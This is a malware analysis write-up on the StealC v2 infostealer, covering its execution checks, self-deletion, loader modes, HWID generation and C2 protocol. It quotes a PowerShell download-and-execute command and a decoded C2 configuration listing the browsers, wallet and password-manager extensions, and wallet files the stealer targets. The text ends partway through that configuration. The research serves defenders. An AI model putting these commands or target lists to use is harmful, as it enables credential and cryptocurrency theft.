Case Study
StealC is one of the well-known stealers written in C++ that has been active since 2022. In April 2025 after the release of the StealC v2 version, the developer announced the sale of only 5 copies of the source code of version one at $3000.
In March 2025, the StealC developer announced the release of StealC v2. The new update features an allegedly new codebase, server-side decryption of Chrome-based browser cookies and passwords (except for Firefox), and server-side brute-forcing of crypto plugins. According to claims, all data transferred between builds and the server is encrypted using a custom RC4-based algorithm. To read more about the changes, you can refer to this article.
Technical Overview
First of all, all the strings are still encrypted with RC4 and the hardcoded key as in previous versions. You can find the script to decrypt the strings and extract the C2 and Build ID here, IDAPython script can be found here to assist with the reversing.
Like in the previous version, the stealer performs the language check as part of its anti-CIS. The difference in version two is that the check for sandbox usernames within the binary is gone.
StealC leverages Windows event objects to control its execution environment. Initially, it enters a polling loop that attempts to open a named event. If this event exists, indicating another instance may be running, it doesn’t immediately terminate but instead waits approximately 4 seconds before checking again. Once it determines no such event exists, it attempts to create this named event itself, establishing its presence on the machine. And if this event creation fails, the stealer terminates itself.
If the date is not past 11/4/2025 (in our sample), the stealer proceeds to execute its main functionality, which serves as a type of “time bomb” with an expiration date.
The user can choose a few options upon generating the build — self-deletion, taking screenshots, block HWID duplicates, or IP duplicates, as shown below.
For self-deletion, the stealer obtains its own executable path using GetModuleFileNameA, then leverages ShellExecuteEx to launch the command /c timeout /t 5 & del /f /q via cmd.exe. This creates a 5-second delay before attempting to forcibly and quietly delete the stealer’s executable, allowing the process to fully run before the deletion command executes.
Loader
The loader functionality is implemented as a configurable option within the stealer’s configuration structure. The function shown below has three distinct execution paths based on payload type:
- Type 0 payloads are executed via the function that runs standard executable files with ShellExecuteEx, the function attempts to execute the EXE up to 10 times if execution fails.
- Type 1 payloads are processed through PowerShell scripts. For PowerShell execution, the stealer specifically uses the 32-bit version of PowerShell (C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe) and runs the command:
powershell.exe -nop -c "iex(New-Object Net.WebClient).DownloadString('[URL]')"
- Type 2 payloads silently install MSI packages. They use msiexec.exe to execute the malicious installer and apply the /passive parameter for silent/minimal UI installation. If installation fails, the payload will retry execution up to 10 times.
If a flag in the panel is set, it will use “RunAs” to run payloads with elevated privileges.
C2 Communication
The initial request sent from the infected machine contains a Base64-encoded blob; upon decoding, we can see that it contains the Build ID, HWID, and command “create”.
Decoded initial command sent to C2:
{
"build": "main1",
"hwid": "2F33566D-A85E-A0B9-A2A5-C631CA5DAE29",
"type": "create"
}
The build ID is hardcoded in the builds in cleartext, the HWID is generated using a multi-step hashing process based on the volume serial number of the system’s boot drive. First, it retrieves the Windows directory to identify the drive letter (typically C:), then uses the GetVolumeInformationA Windows API to obtain the volume serial number. This number undergoes a series of custom mathematical transformations involving multiplication, subtraction, and bitwise operations to generate three distinct hash values. These values are then used to create an 8-byte array through further hashing iterations, with each byte derived from the third hash value.
The HWID generation can be reproduced the following way:
import ctypes
from ctypes import windll, wintypes, byref, create_string_buffer, c_buffer
def generate_hwid():
buffer_size = 260
windir = create_string_buffer(buffer_size)
if windll.kernel32.GetWindowsDirectoryA(windir, buffer_size) > 0:
drive_letter = chr(windir.raw[0])
else:
drive_letter = 'C'
volume_path = f"{drive_letter}:\\"
volume_serial = wintypes.DWORD(0)
file_system_flags = wintypes.DWORD(0)
if windll.kernel32.GetVolumeInformationA(
ctypes.c_char_p(volume_path.encode()),
None, 0,
byref(volume_serial),
None, byref(file_system_flags),
None, 0):
volume_serial_value = volume_serial.value
first_hash = (0x14A30B * volume_serial_value - 0x69427551) & 0xFFFFFFFF
second_hash = (0xA30B * first_hash - 0x7551) & 0xFFFF
third_hash = (0x95DBED34 - 0x1E70FD87 * first_hash) & 0xFFFFFFFF
bytes_array = bytearray(8)
for i in range(8):
third_hash = (0x14A30B * third_hash - 0x69427551) & 0xFFFFFFFF
bytes_array[i] = third_hash & 0xFF
hwid = "{:08X}-{:04X}-{:04X}-{:02X}{:02X}-{:02X}{:02X}{:02X}{:02X}{:02X}{:02X}".format(
first_hash,
second_hash,
third_hash & 0xFFFF,
bytes_array[0], bytes_array[1],
bytes_array[2], bytes_array[3], bytes_array[4], bytes_array[5], bytes_array[6], bytes_array[7]
)
return hwid
return ""
if __name__ == "__main__":
print(f"Hardware ID: {generate_hwid()}")
The function below is responsible for parsing configuration parameters received from the command and control server. This function is a critical part of StealC’s operation as it determines what actions it will take based on instructions.
The function looks for an “opcode” parameter to verify the response structure, if the validations fail, the function aborts execution. Next, the function compares the response against predefined “success” and “blocked” strings with the parameter “opcode,” and if the response contains “blocked”, the stealer terminates itself. If the response contains “success”, it proceeds with parsing the configuration received from the C2.
The decoded Base64 response from the C2 containing the configuration upon the “success” opcode:
{
"70dac1867cc": "0a086e0b45295b8",
"opcode": "success",
"access_token": "b6de4c8e85bb0ddbc6778a9e5555281e15720a5126c4f8a828ac8b34df7f6b376da04f93",
"self_delete": 1,
"take_screenshot": 1,
"loader": 0,
"steal_steam": 0,
"steal_outlook": 1,
"browsers": [
{
"name": "Google Chrome",
"path": "\\Google\\Chrome\\User Data",
"type": "1",
"soft_path": "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"use_v20": true,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "Chromium",
"path": "\\Chromium\\User Data",
"type": "1",
"soft_path": "unk",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "Google Chrome Canary",
"path": "\\Google\\Chrome SxS\\User Data",
"type": "1",
"soft_path": "%LOCALAPPDATA%\\Google\\Chrome SxS\\Application\\chrome.exe",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "Amigo",
"path": "\\Amigo\\User Data",
"type": "1",
"soft_path": "unk",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "Torch",
"path": "\\Torch\\User Data",
"type": "1",
"soft_path": "unk",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "Vivaldi",
"path": "\\Vivaldi\\User Data",
"type": "1",
"soft_path": "unk",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "Comodo Dragon",
"path": "\\Comodo\\Dragon\\User Data",
"type": "1",
"soft_path": "unk",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "EpicPrivacyBrowser",
"path": "\\Epic Privacy Browser\\User Data",
"type": "1",
"soft_path": "unk",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "CocCoc",
"path": "\\CocCoc\\Browser\\User Data",
"type": "1",
"soft_path": "unk",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "Brave",
"path": "\\BraveSoftware\\Brave-Browser\\User Data",
"type": "1",
"soft_path": "unk",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "Cent Browser",
"path": "\\CentBrowser\\User Data",
"type": "1",
"soft_path": "unk",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "7Star",
"path": "\\7Star\\User Data",
"type": "1",
"soft_path": "unk",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "Chedot Browser",
"path": "\\Chedot\\User Data",
"type": "1",
"soft_path": "unk",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "Microsoft Edge",
"path": "\\Microsoft\\Edge\\User Data",
"type": "1",
"soft_path": "unk",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "360 Browser",
"path": "\\360Browser\\Browser\\User Data",
"type": "1",
"soft_path": "unk",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "QQBrowser",
"path": "\\Tencent\\QQBrowser\\User Data",
"type": "1",
"soft_path": "unk",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "CryptoTab",
"path": "\\CryptoTab Browser\\User Data",
"type": "1",
"soft_path": "unk",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "Opera Stable",
"path": "\\Opera Software",
"type": "2",
"soft_path": "unk",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "Mozilla Firefox",
"path": "\\Mozilla\\Firefox\\Profiles",
"type": "3",
"soft_path": "C:\\Program Files\\Mozilla Firefox\\",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "Pale Moon",
"path": "\\Moonchild Productions\\Pale Moon\\Profiles",
"type": "3",
"soft_path": "C:\\Program Files\\Pale Moon\\",
"use_v20": false,
"parse_cookies": true,
"parse_logins": true,
"parse_history": false,
"parse_webdata": true
},
{
"name": "Thunderbird",
"path": "\\Thunderbird\\Profiles",
"type": "3",
"soft_path": "C:\\Program Files\\Mozilla Thunderbird\\",
"use_v20": false,
"parse_cookies": false,
"parse_logins": true,
"parse_history": false,
"parse_webdata": false
}
],
"plugins": [
{
"name": "MetaMask",
"token": "djclckkglechooblngghdinmeemkbgci",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "MetaMask",
"token": "ejbalbakoplchlghecdalmeeeajnimhm",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "MetaMask",
"token": "nkbihfbeogaeaoehlefnkodbefgpgknn",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "TronLink",
"token": "ibnejdfjmmkpcnlpebklmnkoeoihofec",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Binance Wallet",
"token": "fhbohimaelbohpjbbldcngcnapndodjp",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Yoroi",
"token": "ffnbelfdoeiohenkjibnmadjiehjhajb",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Coinbase Wallet extension",
"token": "hnfanknocfeofbddgcijnmhnfnkdnaad",
"from_local": true,
"from_sync": false,
"from_IndexedDB": true
},
{
"name": "Guarda",
"token": "hpglfhgfnhbgpjdenjgmdgoeiappafln",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Jaxx Liberty",
"token": "cjelfplplebdjjenllpjcblmjkfcffne",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "iWallet",
"token": "kncchdigobghenbbaddojjnnaogfppfj",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "MEW CX",
"token": "nlbmnnijcnlegkjjpcfjclmcfggfefdm",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "GuildWallet",
"token": "nanjmdknhkinifnkgdcggcfnhdaammmj",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Ronin Wallet",
"token": "fnjhmkhhmkbjkkabndcnnogagogbneec",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "NeoLine",
"token": "cphhlgmgameodnhkjdmkpanlelnlohao",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "CLV Wallet",
"token": "nhnkbkgjikgcigadomkphalanndcapjk",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Liquality Wallet",
"token": "kpfopkelmapcoipemfendmdcghnegimn",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Terra Station Wallet",
"token": "aiifbnbfobpmeekipheeijimdpnlpgpp",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Keplr",
"token": "dmkamcknogkgcdfhhbddcghachkejeap",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Sollet",
"token": "fhmfendgdocmcbmfikdcogofphimnkno",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Auro Wallet(Mina Protocol)",
"token": "cnmamaachppnkjgnildpdmkaakejnhae",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Polymesh Wallet",
"token": "jojhfeoedkpkglbfimdfabpdfjaoolaf",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "ICONex",
"token": "flpiciilemghbmfalicajoolhkkenfel",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Coin98 Wallet",
"token": "aeachknmefphepccionboohckonoeemg",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "EVER Wallet",
"token": "cgeeodpfagjceefieflmdfphplkenlfk",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "KardiaChain Wallet",
"token": "pdadjkfkgcafgbceimcpbkalnfnepbnk",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Rabby",
"token": "acmacodkjbdgmoleebolmdjonilkdbch",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Phantom",
"token": "bfnaelmomeimhlpmgjnjophhpkkoljpa",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Brave Wallet",
"token": "odbfpeeihdkbihmopkbjmoonfanlbfcl",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Oxygen",
"token": "fhilaheimglignddkjgofkcbgekhenbh",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Pali Wallet",
"token": "mgffkfbidihjpoaomajlbgchddlicgpn",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "BOLT X",
"token": "aodkkagnadcbobfpggfnjeongemjbjca",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "XDEFI Wallet",
"token": "hmeobnfnfcmdkdcmlblgagmfpfboieaf",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Nami",
"token": "lpfcbjknijpeeillifnkikgncikgfhdo",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Maiar DeFi Wallet",
"token": "dngmlblcodfobpdpecaadgfbcggfjfnm",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Keeper Wallet",
"token": "lpilbniiabackdjcionkobglmddfbcjo",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Solflare Wallet",
"token": "bhhhlbepdkbapadjdnnojkbgioiodbic",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Cyano Wallet",
"token": "dkdedlpgdmmkkfjabffeganieamfklkm",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "KHC",
"token": "hcflpincpppdclinealmandijcmnkbgn",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "TezBox",
"token": "mnfifefkajgofkcjkemidiaecocnkjeh",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Temple",
"token": "ookjlbkiijinhpmnjffcofjonbfbgaoc",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Goby",
"token": "jnkelfanjkeadonecabehalmbgpfodjm",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Ronin Wallet",
"token": "kjmoohlgokccodicjjfebfomlbljgfhk",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Byone",
"token": "nlgbhdfgdhgbiamfdfmbikcdghidoadd",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "OneKey",
"token": "jnmbobjmhlngoefaiojfljckilhhlhcj",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "DAppPlay",
"token": "lodccjjbdhfakaekdiahmedfbieldgik",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "SteemKeychain",
"token": "jhgnbkkipaallpehbohjmkbjofjdmeid",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Braavos Wallet",
"token": "jnlgamecbpmbajjfhmmmlhejkemejdma",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Enkrypt",
"token": "kkpllkodjeloidieedojogacfhpaihoh",
"from_local": true,
"from_sync": true,
"from_IndexedDB": true
},
{
"name": "OKX Wallet",
"token": "mcohilncbfahbmgdjkbpemcciiolgcge",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Sender Wallet",
"token": "epapihdplajcdnnkdeiahlgigofloibg",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Hashpack",
"token": "gjagmgiddbbciopjhllkdnddhcglnemk",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Eternl",
"token": "kmhcihpebfmpgmihbkipmjlmmioameka",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Pontem Aptos Wallet",
"token": "phkbamefinggmakgklpkljjmgibohnba",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Petra Aptos Wallet",
"token": "ejjladinnckdgjemekebdpeokbikhfci",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Martian Aptos Wallet",
"token": "efbglgofoippbgcjepnhiblaibcnclgk",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Finnie",
"token": "cjmkndjhnagcfbpiemnkdpomccnjblmj",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Leap Terra Wallet",
"token": "aijcbedoijmgnlmjeegjaglmepbmpkpi",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Trezor Password Manager",
"token": "imloifkgjagghnncjkhggdhalmcnfklk",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Authenticator",
"token": "bhghoamapcdpbohphigoooaddinpkbai",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Authy",
"token": "gaedmjdfmmahhbjefcbgaolhhanlaolb",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "EOS Authenticator",
"token": "oeljdldpnmdbchonielidgobddffflal",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "GAuth Authenticator",
"token": "ilgcnhelpchnceeipipijaljkblbcobl",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Bitwarden",
"token": "nngceckbapebfimnlniiiahkandclblb",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "KeePassXC",
"token": "oboonakemofpalcgghocfoadofidjkkk",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Dashlane",
"token": "fdjamakpfbbddfjaooikfcpapjohcfmg",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "NordPass",
"token": "fooolghllnmhmmndgjiamiiodkpenpbb",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Keeper",
"token": "bfogiafebfohielmmehodmfbbebbbpei",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "RoboForm",
"token": "pnlccmojcmeohlpggmfnbbiapkmbliob",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "LastPass",
"token": "hdokiejnpimakedhajhdlcegeplioahd",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "BrowserPass",
"token": "naepdomgkenhinolocfifgehidddafch",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "MYKI",
"token": "bmikpgodpkclnkgmnpphehdgcimmided",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Splikity",
"token": "jhfjfclepacoldmjmkmdlmganfaalklb",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "CommonKey",
"token": "chgfefjpcobfbnpmiokfjjaglahmnded",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Zoho Vault",
"token": "igkpcodhieompeloncfnbekccinhapdb",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Opera Wallet",
"token": "gojhcdgcpbpfigcaejpfhfegekdgiblk",
"from_local": true,
"from_sync": false,
"from_IndexedDB": true
},
{
"name": "Trust Wallet",
"token": "egjidjbpglichdcondbcbdnbeeppgdph",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Rise - Aptos Wallet",
"token": "hbbgbephgojikajhfbomhlmmollphcad",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Rainbow Wallet",
"token": "opfgelmcmbiajamepnmloijbpoleiama",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Nightly Wallet",
"token": "fiikommddbeccaoicoejoniammnalkfa",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Ecto Wallet",
"token": "bgjogpoidejdemgoochpnkmdjpocgkha",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Coinhub",
"token": "jgaaimajipbpdogpdglhaphldakikgef",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "MultiversX DeFi Wallet",
"token": "dngmlblcodfobpdpecaadgfbcggfjfnm",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Frontier Wallet",
"token": "kppfdiipphfccemcignhifpjkapfbihd",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "SafePal",
"token": "lgmpcpglpngdoalbgeoldeajfclnhafa",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "SubWallet - Polkadot Wallet",
"token": "onhogfjeacnfoofkfgppdlbmlmnplgbn",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Fluvi Wallet",
"token": "mmmjbcfofconkannjonfmjjajpllddbg",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Glass Wallet - Sui Wallet",
"token": "loinekcabhlmhjjbocijdoimmejangoa",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Morphis Wallet",
"token": "heefohaffomkkkphnlpohglngmbcclhi",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Xverse Wallet",
"token": "idnnbdplmphpflfnlkomgpfbpcgelopg",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Compass Wallet for Sei",
"token": "anokgmphncpekkhclmingpimjmcooifb",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "HAVAH Wallet",
"token": "cnncmdhjacpkmjmkcafchppbnpnhdmon",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Elli - Sui Wallet",
"token": "ocjdpmoallmgmjbbogfiiaofphbjgchh",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Venom Wallet",
"token": "ojggmchlghnjlapmfbnjholfjkiidbch",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Pulse Wallet Chromium",
"token": "ciojocpkclfflombbcfigcijjcbkmhaf",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Magic Eden Wallet",
"token": "mkpegjkblkkefacfnmkajcjmabijhclg",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Backpack Wallet",
"token": "aflkmfhebedbjioipglgcbcmnbpgliof",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Tonkeeper Wallet",
"token": "omaabbefbmiijedngplfjmnooppbclkk",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "OpenMask Wallet",
"token": "penjlddjkjgpnkllboccdgccekpkcbin",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "SafePal Wallet",
"token": "apenkfbbpmhihehmihndmmcdanacolnh",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Bitget Wallet",
"token": "jiidiaalihmmhddjgbnbgdfflelocpak",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "TON Wallet",
"token": "nphplpgoakhhjchkkhmiggakijnkhfnd",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "MyTonWallet",
"token": "fldfpgipfncgndfolcbkdeeknbbbnhcc",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
},
{
"name": "Uniswap Extension",
"token": "nnpmfplkfogfpmcngplhnbdnnilmcdcg",
"from_local": true,
"from_sync": false,
"from_IndexedDB": false
}
],
"files": [
{
"name": "Bitcoin Core",
"type": 1,
"csidl": 1,
"start_path": "\\Bitcoin\\",
"masks": "*wallet*.dat",
"recursive": true,
"max_size": 0,
"iterations": 0
},
{
"name": "Dogecoin",
"type": 1,
"csidl": 1,
"start_path": "\\Dogecoin\\",
"masks": "*wallet*.dat",
"recursive": true,
"max_size": 0,
"iterations": 0
},
{
"name": "Raven Core",
"type": 1,
"csidl": 1,
"start_path": "\\Raven\\",
"masks": "*wallet*.dat",
"recursive": true,
"max_size": 0,
"iterations": 0
},
{
"name": "Daedalus Mainnet",
"type": 1,
"csidl": 1,
"start_path": "\\Daedalus Mainnet\\wallets\\",
"masks": "she*.sqlite",
"recursive": true,
"max_size": 0,
"iterations": 0
},
{
"name": "Blockstream Green",
"type": 1,
"csidl": 1,
"start_path": "\\Blockstream\\Green\\wallets\\",
"masks": "*.*",
"recursive": true,
"max_size": 0,
"iterations": 0
},
{
"name": "Wasabi Wallet",
"type": 1,
"csidl": 1,
"start_path": "\\WalletWasabi\\Client\\Wallets\\",
"masks": "*.json",
"recursive": true,
"max_size": 0,
"iterations": 0
},
{
"name": "Ethereum",
"type": 1,
"csidl": 1,
"start_path": "\\Ethereum\\",
"masks": "keystore",
"recursive": false,
"max_size": 0,
"iterations": 0
},
{
"name": "Electrum",
"type": 1,
"csidl": 1,
"start_path": "\\Electrum\\wallets\\",
"masks": "*.*",
"recursive": false,
"max_size": 0,
"iterations": 0
},
{
"name": "ElectrumLTC",
"type": 1,
"csidl": 1,
"start_path": "\\Electrum-LTC\\wallets\\",
"masks": "*.*",
"recursive": false,
"max_size": 0,
"iterations": 0
},
{
"name": "Ledger Live\\Local Storage\\leveldb",
"type": 1,
"csidl": 1,
"start_path": "\\Ledger Live\\Local Storage\\leveldb\\",
"masks": "*.*",
"recursive": false,
"max_size": 0,
"iterations": 0
},
{
"name": "Ledger Live",
"type": 1,
"csidl": 1,
"start_path": "\\Ledger Live\\",
"masks": "*.*",
"recursive": false,
"max_size": 0,
"iterations": 0
},
{
"name": "Exodus",
"type": 1,
"csidl": 1,
"start_path": "\\Exodus\\",
"masks": "exodus.conf.json,window-state.json",
"recursive": false,
"max_size": 0,
"iterations": 0
},
{
"name": "Exodus\\exodus.wallet",
"type": 1,
"csidl": 1,
"start_path": "\\Exodus\\exodus.wallet",
"masks": "passphrase.json,seed.seco,info.seco",
"recursive": false,
"max_size": 0,
"iterations": 0
},
{
"name": "Electron Cash",
"type": 1,
"csidl": 1,
"start_path": "\\ElectronCash\\wallets\\",
"masks": "*.*",
"recursive": false,
"max_size": 0,
"iterations": 0
},
{
"name": "MultiDoge",
"type": 1,
"csidl": 1,
"start_path": "\\MultiDoge\\",
"masks": "multidoge.wallet",
"recursive": false,
"max_size": 0,
"iterations": 0
},
{
"name": "Jaxx Desktop",
"type": 1,
"csidl": 1,
"start_path": "\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\",
"masks": "*.*",
"recursive": false,
"max_size": 0,
"iterations": 0
},
{
"name": "Atomic",
"type": 1,
"csidl": 1,
"start_path": "\\atomic\\Local Storage\\leveldb\\",
"masks": "*.*",
"recursive": false,
"max_size": 0,
"iterations": 0
},
{
"name": "Binance",
"type": 1,
"csidl": 1,
"start_path": "\\Binance\\",
"masks": "app-store.json,simple-storage.json,.finger-print.fp",
"recursive": false,
"max_size": 0,
"iterations": 0
},
{
"name": "Coinomi",
"type": 1,
"csidl": 1,
"start_path": "\\Coinomi\\Coinomi\\wallets\\",
"masks": "*.wallet,*.config",
"recursive": true,
"max_size": 0,
"iterations": 0
},
{
"name": "Chia Wallet\\config",
"type": 1,
"csidl": 3,
"start_path": "\\.chia\\mainnet\\config\\",
"masks": "*.*",
"recursive": true,
"max_size": 0,
"iterations": 0
},
{
"name": "Chia Wallet\\run",
"type": 1,
"csidl": 3,
"start_path": "\\.chia\\mainnet\\run\\",
"masks": "*.*",
"recursive": true,
"max_size": 0,
"iterations": 0
},
{
"name": "Chia Wallet\\wallet",
"type": 1,
"csidl": 3,
"start_path": "\\.chia\\mainnet\\wallet\\",
"masks": "*.*",
"recursive": true,
"max_size": 0,
"iterations": 0
},
{
"name": "Komodo Wallet\\config",
"type": 1,
"csidl": 1,
"start_path": "\\atomic_qt\\config\\",
"masks": "*.*",
"recursive": true,
"max_size": 0,
"iterations": 0
},
{
"name": "Komodo Wallet\\exports",
"type": 1,
"csidl": 1,
"start_path": "\\atomic_qt\\exports\\",
"masks": "*.*",
"recursive": true,
"max_size": 0,
"iterations": 0
},
{
"name": "Guarda Desktop\\IndexedDB\\https_guarda.co_0.indexeddb.leveldb",
"type": 1,
"csidl": 1,
